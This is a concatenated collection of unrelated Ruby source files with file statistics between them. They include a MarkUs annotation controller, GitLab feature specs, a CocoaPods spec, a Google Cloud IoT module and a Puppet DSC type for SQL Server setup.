servers: [
{
url: 'http://{defaultHost}',
variables: {
defaultHost: {
default: 'localhost'
}
}
}
]
}
}
config.swagger_format = :yaml
end
| 17.612903 | 55 | 0.485348 |
61fcd889abb03082eaa89c8b8130426ff8294c80 | 479 | # frozen_string_literal: true
require 'forwardable'
require 'r2-oas/schema/v3/generator'
module R2OAS
module Schema
class Generator
extend Forwardable
def_delegators :@generator, :generate_docs
def initialize(options = {})
case ::R2OAS.version
when :v3
@generator = V3::Generator.new(options)
else
raise NoImplementError, "Do not support version: #{::R2OAS.version}"
end
end
end
end
end
| 19.958333 | 78 | 0.636743 |
1c3f8f3f3131862b00ddd26c5f039f91982d954d | 870 | # == Schema Information
#
# Table name: base_items
#
# id :bigint(8) not null, primary key
# name :string
# category :string
# barcode_count :integer
# created_at :datetime not null
# updated_at :datetime not null
# size :string
# item_count :integer
# partner_key :string
#
class BaseItem < ApplicationRecord
has_many :items, dependent: :destroy, inverse_of: :base_item, foreign_key: :partner_key, primary_key: :partner_key
has_many :barcode_items, as: :barcodeable, dependent: :destroy
validates :name, presence: true, uniqueness: true
validates :partner_key, presence: true, uniqueness: true
scope :by_partner_key, ->(partner_key) { where(partner_key: partner_key) }
scope :alphabetized, -> { order(:name) }
def to_h
{ partner_key: partner_key, name: name }
end
end
| 29 | 116 | 0.670115 |
e99dbe77f147ac5c7e4da3c7130e1d1fbd0ddae8 | 12,822 | class AnnotationCategoriesController < ApplicationController
include AnnotationCategoriesHelper
respond_to :js
before_action { authorize! }
layout 'assignment_content'
responders :flash
content_security_policy only: :index do |p|
# required because MathJax dynamically changes
# style. # TODO: remove this when possible
p.style_src :self, "'unsafe-inline'"
end
def index
@assignment = Assignment.find(params[:assignment_id])
@annotation_categories = AnnotationCategory.visible_categories(@assignment, current_role)
.includes(:assignment, :annotation_texts)
respond_to do |format|
format.html
format.json {
data = @annotation_categories.map do |cat|
{
id: cat.id,
annotation_category_name: "#{cat.annotation_category_name}"\
"#{cat.flexible_criterion_id.nil? ? '' : " [#{cat.flexible_criterion.name}]"}",
texts: cat.annotation_texts.map do |text|
{
id: text.id,
content: text.content,
deduction: text.deduction
}
end
}
end
render json: data
}
end
end
def new
@assignment = Assignment.find(params[:assignment_id])
end
def create
@assignment = Assignment.find(params[:assignment_id])
@annotation_category = @assignment.annotation_categories.new(annotation_category_params)
if @annotation_category.save
flash_message(:success, t('.success'))
respond_to do |format|
format.js { render :insert_new_annotation_category }
end
else
respond_with @annotation_category do |format|
format.js { head :bad_request }
end
end
end
def show
@annotation_category = record
@assignment = @annotation_category.assignment
@annotation_texts = annotation_text_data(record)
end
def destroy
@annotation_category = record
@assignment = @annotation_category.assignment
if @annotation_category.destroy
flash_message(:success, t('.success'))
else
flash_message(:error, t('.error'))
render 'show', assignment_id: @assignment.id, id: @annotation_category.id
end
end
def update
@annotation_category = record
@assignment = @annotation_category.assignment
if @annotation_category.update(annotation_category_params)
flash_message(:success, t('.success'))
render 'show', assignment_id: @assignment.id, id: @annotation_category.id
else
respond_with @annotation_category, render: { body: nil, status: :bad_request }
end
end
def new_annotation_text
@assignment = Assignment.find(params[:assignment_id])
@annotation_category = @assignment.annotation_categories.find(params[:annotation_category_id])
end
def create_annotation_text
@annotation_text = AnnotationText.new(
**annotation_text_params.to_h.symbolize_keys,
creator_id: current_role.id,
last_editor_id: current_role.id
)
if @annotation_text.save
flash_now(:success, t('annotation_categories.update.success'))
@annotation_category = @annotation_text.annotation_category
@assignment = @annotation_category.assignment
@text = annotation_text_data(@annotation_category).find do |text|
text[:id] == @annotation_text.id
end
render :insert_new_annotation_text
else
flash_message(:error, t('.error'))
head :bad_request
end
end
def destroy_annotation_text
@annotation_text = record
@assignment = Assignment.find_by(id: params[:assignment_id])
if @annotation_text.destroy
flash_now(:success, t('.success'))
else
flash_message(:error, t('.deductive_annotation_released_error'))
head :bad_request
end
end
def update_annotation_text
@annotation_text = record
@assignment = Assignment.find_by(id: params[:assignment_id])
if @annotation_text.update(**annotation_text_params.to_h.symbolize_keys, last_editor_id: current_role.id)
flash_now(:success, t('annotation_categories.update.success'))
@text = annotation_text_data(@annotation_text.annotation_category, course: record.course).find do |text|
text[:id] == @annotation_text.id
end
else
flash_message(:error, t('.deductive_annotation_released_error'))
head :bad_request
end
end
def find_annotation_text
string = params[:string]
texts_for_current_assignment = AnnotationText.joins(:annotation_category)
.where('annotation_categories.assessment_id': params[:assignment_id])
one_time_texts = AnnotationText.joins(annotations: { result: { grouping: :group } })
.where(
creator_id: current_role.id,
'groupings.assessment_id': params[:assignment_id],
annotation_category_id: nil
)
annotation_texts = texts_for_current_assignment.where('lower(content) LIKE ?', "#{string.downcase}%").limit(10) |
one_time_texts.where('lower(content) LIKE ?', "#{string.downcase}%").limit(10)
render json: annotation_texts
end
# This method handles the drag/drop Annotations sorting.
# It currently ignores annotation categories that are not associated with the passed assignment.
def update_positions
assignment = Assignment.find(params[:assignment_id])
position = 0
params[:annotation_category].compact.each do |id|
annotation_category = assignment.annotation_categories.find_by(id: id)
next if annotation_category.nil?
annotation_category.update(position: position)
position += 1
end
head :ok
end
def download
@assignment = Assignment.find(params[:assignment_id])
@annotation_categories = @assignment.annotation_categories
case params[:format]
when 'csv'
ac = prepare_for_conversion(@annotation_categories)
file_out = MarkusCsv.generate(
ac) do |annotation_category_name, annotation_texts|
# csv format is annotation_category.name, annotation_category.flexible_criterion,
# annotation_text.content[, optional: annotation_text.deduction ]
annotation_texts.unshift(annotation_category_name)
end
send_data file_out,
filename: "#{@assignment.short_identifier}_annotations.csv",
disposition: 'attachment'
when 'yml'
send_data annotation_categories_to_yml(@annotation_categories),
filename: "#{@assignment.short_identifier}_annotations.yml",
disposition: 'attachment'
else
flash[:error] = t('download_errors.unrecognized_format',
format: params[:format])
redirect_to action: 'index',
id: params[:id]
end
end
def upload
@assignment = Assignment.find(params[:assignment_id])
begin
data = process_file_upload
rescue Psych::SyntaxError => e
flash_message(:error, t('upload_errors.syntax_error', error: e.to_s))
rescue StandardError => e
flash_message(:error, e.message)
else
AnnotationCategory.transaction do
if data[:type] == '.csv'
result = MarkusCsv.parse(data[:file].read, encoding: data[:encoding]) do |row|
next if CSV.generate_line(row).strip.empty?
AnnotationCategory.add_by_row(row, @assignment, current_role)
end
if result[:invalid_lines].empty?
flash_message(:success, result[:valid_lines]) unless result[:valid_lines].empty?
else
flash_message(:error, result[:invalid_lines])
raise ActiveRecord::Rollback
end
elsif data[:type] == '.yml'
begin
successes = upload_annotations_from_yaml(data[:contents], @assignment)
if successes > 0
flash_message(:success, t('annotation_categories.upload.success',
annotation_category_number: successes))
end
rescue CsvInvalidLineError => e
flash_message(:error, e.message)
raise ActiveRecord::Rollback
end
end
end
end
redirect_to course_assignment_annotation_categories_path(current_course, @assignment)
end
def annotation_text_data(category, course: nil)
shared_values = ['annotation_texts.id AS id',
'end_users_roles.user_name AS last_editor',
'users.user_name AS creator',
'annotation_texts.content AS content']
course ||= category&.course
base_query = AnnotationText.joins(creator: :end_user)
.left_outer_joins(last_editor: :end_user)
.where('annotation_texts.annotation_category_id': category)
.where('roles.course_id': course)
.order('users.user_name')
if category.nil?
text_data = base_query.joins(annotations: { result: { grouping: :group } })
.where('groupings.assessment_id': params[:assignment_id])
.order('results.id')
.pluck_to_hash('groups.group_name AS group_name',
'groupings.assessment_id AS assignment_id',
'results.id AS result_id',
'results.submission_id AS submission_id',
*shared_values)
else
text_data = base_query.left_outer_joins(annotation_category: :flexible_criterion)
.pluck_to_hash('annotation_categories.assessment_id AS assignment_id',
'annotation_texts.deduction AS deduction',
'annotation_texts.annotation_category_id AS annotation_category',
'criteria.max_mark AS max_mark',
*shared_values)
text_usage = AnnotationText.left_outer_joins(annotations: :result)
.where('annotation_texts.annotation_category_id': category)
.group('annotation_texts.id')
.count('annotations.id')
text_released = AnnotationText.left_outer_joins(annotations: :result)
.where('annotation_texts.annotation_category_id': category)
.group('annotation_texts.id')
.count('results.released_to_students OR NULL')
text_data.each do |text|
text['num_uses'] = text_usage[text[:id]]
text['released'] = text_released[text[:id]]
end
end
text_data
end
def annotation_text_uses
render json: record.uses
end
def uncategorized_annotations
@assignment = Assignment.find(params[:assignment_id])
@texts = annotation_text_data(nil, course: @assignment.course)
respond_to do |format|
format.js {}
format.json { render json: @texts }
format.csv do
data = MarkusCsv.generate(
@texts
) do |text|
row = [text[:group_name], text[:last_editor], text[:creator], text[:content]]
row
end
filename = "#{@assignment.short_identifier}_one_time_annotations.csv"
send_data data,
disposition: 'attachment',
type: 'text/csv',
filename: filename
end
end
end
private
def annotation_category_params
params.require(:annotation_category)
.permit(:annotation_category_name, :flexible_criterion_id)
end
def annotation_text_params
params.permit(:id, :content, :deduction, :annotation_category_id)
end
# This override is necessary because this controller is acting as a controller
# for both annotation categories and annotation texts.
#
# TODO: move all annotation text routes into their own controller and remove this
def record
@record ||= if params[:annotation_category_id]
AnnotationText.find_by(id: params[:id])
elsif params[:annotation_text_id]
AnnotationText.find_by(id: params[:annotation_text_id])
else
AnnotationCategory.find_by(id: params[:id])
end
end
def flash_interpolation_options
{ errors: @annotation_category.errors.full_messages.join('; ') }
end
end
| 37.823009 | 118 | 0.623304 |
6afbd8a588615f1693f92cf95e88baad5d2abeef | 943 | Pod::Spec.new do |s|
s.name = "SwiftPing"
s.summary = "SwiftPing:ICMP Ping in swift - Forked from https://github.com/ankitthakur/SwiftPing"
s.version = "1.1.3"
s.homepage = "https://github.com/toandk/SwiftPing"
s.license = 'MIT'
s.author = { "Ankit Thakur" => "[email protected]" }
s.source = {
:git => "https://github.com/toandk/SwiftPing.git",
:tag => s.version.to_s
}
s.social_media_url = 'https://twitter.com/ankitthakur'
s.ios.deployment_target = '9.0'
s.osx.deployment_target = '10.9'
s.tvos.deployment_target = '9.2'
s.requires_arc = true
s.ios.source_files = 'Sources/{iOS,Shared}/**/*'
s.tvos.source_files = 'Sources/{iOS,Shared}/**/*'
s.osx.source_files = 'Sources/{Mac,Shared}/**/*'
# s.ios.frameworks = 'UIKit', 'Foundation'
# s.osx.frameworks = 'Cocoa', 'Foundation'
# s.dependency 'Whisper', '~> 1.0'
end
| 33.678571 | 108 | 0.603393 |
1c51c11ab05c4382662b3c79630f8495219c0b2f | 1,304 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/cloudiot_v1/service.rb'
require 'google/apis/cloudiot_v1/classes.rb'
require 'google/apis/cloudiot_v1/representations.rb'
module Google
module Apis
# Cloud IoT API
#
# Registers and manages IoT (Internet of Things) devices that connect to the
# Google Cloud Platform.
#
# @see https://cloud.google.com/iot
module CloudiotV1
VERSION = 'V1'
REVISION = '20200414'
# View and manage your data across Google Cloud Platform services
AUTH_CLOUD_PLATFORM = 'https://www.googleapis.com/auth/cloud-platform'
# Register and manage devices in the Google Cloud IoT service
AUTH_CLOUDIOT = 'https://www.googleapis.com/auth/cloudiot'
end
end
end
| 33.435897 | 80 | 0.730061 |
7a8459813b11abf5b836b1b596a4e213371b004b | 128 | require 'admin_materialize/version'
module AdminMaterialize
module Rails
class Engine < ::Rails::Engine
end
end
end | 16 | 35 | 0.742188 |
62b46594c50c8a4b7071a006f8aa9ffe650a2495 | 359 | # == Schema Information
#
# Table name: ingress_communities
#
# id :integer not null, primary key
# name :string
# created_at :datetime not null
# updated_at :datetime not null
#
require 'rails_helper'
RSpec.describe Ingress::Community, type: :model do
pending "add some examples to (or delete) #{__FILE__}"
end
| 22.4375 | 56 | 0.649025 |
6a9b281fb4c7d40a6e255dbef4dd600285220f3f | 3,730 | require 'spec_helper'
describe 'Users > User browses projects on user page', :js do
let!(:user) { create :user }
let!(:private_project) do
create :project, :private, name: 'private', namespace: user.namespace do |project|
project.add_maintainer(user)
end
end
let!(:internal_project) do
create :project, :internal, name: 'internal', namespace: user.namespace do |project|
project.add_maintainer(user)
end
end
let!(:public_project) do
create :project, :public, name: 'public', namespace: user.namespace do |project|
project.add_maintainer(user)
end
end
def click_nav_link(name)
page.within '.nav-links' do
click_link name
end
end
it 'hides loading spinner after load', :js do
visit user_path(user)
click_nav_link('Personal projects')
wait_for_requests
expect(page).not_to have_selector('.loading-status .loading', visible: true)
end
it 'paginates projects', :js do
project = create(:project, namespace: user.namespace, updated_at: 2.minutes.since)
project2 = create(:project, namespace: user.namespace, updated_at: 1.minute.since)
allow(Project).to receive(:default_per_page).and_return(1)
sign_in(user)
visit user_path(user)
click_nav_link('Personal projects')
wait_for_requests
expect(page).to have_content(project.name)
click_link('Next')
expect(page).to have_content(project2.name)
end
context 'when not signed in' do
it 'renders user public project' do
visit user_path(user)
click_nav_link('Personal projects')
expect(page).to have_css('.tab-content #projects.active')
expect(title).to start_with(user.name)
expect(page).to have_content(public_project.name)
expect(page).not_to have_content(private_project.name)
expect(page).not_to have_content(internal_project.name)
end
end
context 'when signed in as another user' do
let(:another_user) { create :user }
before do
sign_in(another_user)
end
it 'renders user public and internal projects' do
visit user_path(user)
click_nav_link('Personal projects')
expect(title).to start_with(user.name)
expect(page).not_to have_content(private_project.name)
expect(page).to have_content(public_project.name)
expect(page).to have_content(internal_project.name)
end
end
context 'when signed in as user' do
before do
sign_in(user)
end
describe 'personal projects' do
it 'renders all user projects' do
visit user_path(user)
click_nav_link('Personal projects')
expect(title).to start_with(user.name)
expect(page).to have_content(private_project.name)
expect(page).to have_content(public_project.name)
expect(page).to have_content(internal_project.name)
end
end
describe 'contributed projects' do
context 'when user has contributions' do
let(:contributed_project) do
create :project, :public, :empty_repo
end
before do
Issues::CreateService.new(contributed_project, user, { title: 'Bug in old browser' }).execute
event = create(:push_event, project: contributed_project, author: user)
create(:push_event_payload, event: event, commit_count: 3)
end
it 'renders contributed project' do
visit user_path(user)
expect(title).to start_with(user.name)
expect(page).to have_css('.js-contrib-calendar')
click_nav_link('Contributed projects')
page.within '#contributed' do
expect(page).to have_content(contributed_project.name)
end
end
end
end
end
end
| 27.835821 | 103 | 0.678016 |
61a0d97b2d98f3355ef3b9de5e42868fd25c3b92 | 41 | module KegbotApi
VERSION = "0.0.1"
end
| 10.25 | 19 | 0.682927 |
1c46ccb19b37b7ac12d388785255693aaafde81b | 605 | class Verdict::Group
include Verdict::Metadata
attr_reader :experiment, :handle
def initialize(experiment, handle)
@experiment, @handle = experiment, handle.to_s
end
def to_s
handle
end
def to_sym
handle.to_sym
end
def ===(other)
case other
when Verdict::Group; experiment == other.experiment && other.handle == handle
when Symbol, String; handle == other.to_s
else false
end
end
def as_json(options = {})
{
handle: handle,
metadata: metadata
}
end
def to_json(options = {})
as_json(options).to_json
end
end
| 16.351351 | 83 | 0.639669 |
f7e46c66c1d27fdf49af962a0ea6053d087cd1b3 | 22,831 | require 'pathname'
Puppet::Type.newtype(:dsc_xsqlserversetup) do
require Pathname.new(__FILE__).dirname + '../../' + 'puppet/type/base_dsc'
require Pathname.new(__FILE__).dirname + '../../puppet_x/puppetlabs/dsc_type_helpers'
@doc = %q{
The DSC xSQLServerSetup resource type.
Automatically generated from
'xSQLServer/DSCResources/MSFT_xSQLServerSetup/MSFT_xSQLServerSetup.schema.mof'
To learn more about PowerShell Desired State Configuration, please
visit https://technet.microsoft.com/en-us/library/dn249912.aspx.
For more information about built-in DSC Resources, please visit
https://technet.microsoft.com/en-us/library/dn249921.aspx.
For more information about xDsc Resources, please visit
https://github.com/PowerShell/DscResources.
}
validate do
fail('dsc_instancename is a required attribute') if self[:dsc_instancename].nil?
end
def dscmeta_resource_friendly_name; 'xSQLServerSetup' end
def dscmeta_resource_name; 'MSFT_xSQLServerSetup' end
def dscmeta_module_name; 'xSQLServer' end
def dscmeta_module_version; '1.4.0.0' end
newparam(:name, :namevar => true ) do
end
ensurable do
newvalue(:exists?) { provider.exists? }
newvalue(:present) { provider.create }
defaultto { :present }
end
# Name: SourcePath
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sourcepath) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SourcePath - UNC path to the root of the source files for installation."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SourceFolder
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sourcefolder) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SourceFolder - Folder within the source path containing the source files for installation."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SetupCredential
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_setupcredential) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "SetupCredential - Credential to be used to perform the installation."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("SetupCredential", value)
end
end
# Name: SourceCredential
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_sourcecredential) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "SourceCredential - Credential to be used to access SourcePath."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("SourceCredential", value)
end
end
# Name: SuppressReboot
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_suppressreboot) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "SuppressReboot - Suppress reboot."
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: ForceReboot
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_forcereboot) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "ForceReboot - Force reboot."
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: Features
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_features) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "Features - SQL features to be installed."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: InstanceName
# Type: string
# IsMandatory: True
# Values: None
newparam(:dsc_instancename) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstanceName - SQL instance to be installed."
isrequired
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: InstanceID
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_instanceid) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstanceID - SQL instance ID, if different from InstanceName."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: PID
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_pid) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "PID - Product key for licensed installations."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: UpdateEnabled
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_updateenabled) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "UpdateEnabled - Enabled updates during installation."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: UpdateSource
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_updatesource) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "UpdateSource - Source of updates to be applied during installation."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQMReporting
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqmreporting) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQMReporting - Enable customer experience reporting."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ErrorReporting
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_errorreporting) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ErrorReporting - Enable error reporting."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: InstallSharedDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_installshareddir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstallSharedDir - Installation path for shared SQL files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: InstallSharedWOWDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_installsharedwowdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstallSharedWOWDir - Installation path for x86 shared SQL files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: InstanceDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_instancedir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstanceDir - Installation path for SQL instance files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_sqlsvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "SQLSvcAccount - Service account for the SQL service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("SQLSvcAccount", value)
end
end
# Name: SQLSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqlsvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLSvcAccountUsername - Output username for the SQL service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: AgtSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_agtsvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "AgtSvcAccount - Service account for the SQL Agent service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("AgtSvcAccount", value)
end
end
# Name: AgtSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_agtsvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "AgtSvcAccountUsername - Output username for the SQL Agent service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLCollation
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqlcollation) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLCollation - Collation for SQL."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLSysAdminAccounts
# Type: string[]
# IsMandatory: False
# Values: None
newparam(:dsc_sqlsysadminaccounts, :array_matching => :all) do
def mof_type; 'string[]' end
def mof_is_embedded?; false end
desc "SQLSysAdminAccounts - Array of accounts to be made SQL administrators."
validate do |value|
unless value.kind_of?(Array) || value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string or an array of strings")
end
end
munge do |value|
Array(value)
end
end
# Name: SecurityMode
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_securitymode) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SecurityMode - Security mode."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SAPwd
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_sapwd) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "SAPwd - SA password, if SecurityMode=SQL"
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("SAPwd", value)
end
end
# Name: InstallSQLDataDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_installsqldatadir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "InstallSQLDataDir - Root path for SQL database files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLUserDBDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqluserdbdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLUserDBDir - Path for SQL database files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLUserDBLogDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqluserdblogdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLUserDBLogDir - Path for SQL log files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLTempDBDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqltempdbdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLTempDBDir - Path for SQL TempDB files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLTempDBLogDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqltempdblogdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLTempDBLogDir - Path for SQL TempDB log files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: SQLBackupDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_sqlbackupdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SQLBackupDir - Path for SQL backup files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: FTSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_ftsvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "FTSvcAccount - Service account for the Full Text service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("FTSvcAccount", value)
end
end
# Name: FTSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_ftsvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "FTSvcAccountUsername - Output username for the Full Text service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: RSSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_rssvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "RSSvcAccount - Service account for Reporting Services service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("RSSvcAccount", value)
end
end
# Name: RSSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_rssvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "RSSvcAccountUsername - Output username for the Reporting Services service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_assvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "ASSvcAccount - Service account for Analysus Services service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("ASSvcAccount", value)
end
end
# Name: ASSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_assvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASSvcAccountUsername - Output username for the Analysis Services service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASCollation
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_ascollation) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASCollation - Collation for Analysis Services."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASSysAdminAccounts
# Type: string[]
# IsMandatory: False
# Values: None
newparam(:dsc_assysadminaccounts, :array_matching => :all) do
def mof_type; 'string[]' end
def mof_is_embedded?; false end
desc "ASSysAdminAccounts - Array of accounts to be made Analysis Services admins."
validate do |value|
unless value.kind_of?(Array) || value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string or an array of strings")
end
end
munge do |value|
Array(value)
end
end
# Name: ASDataDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_asdatadir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASDataDir - Path for Analysis Services data files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASLogDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_aslogdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASLogDir - Path for Analysis Services log files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASBackupDir
# Type: string
# IsMandatory: False
# Values: None
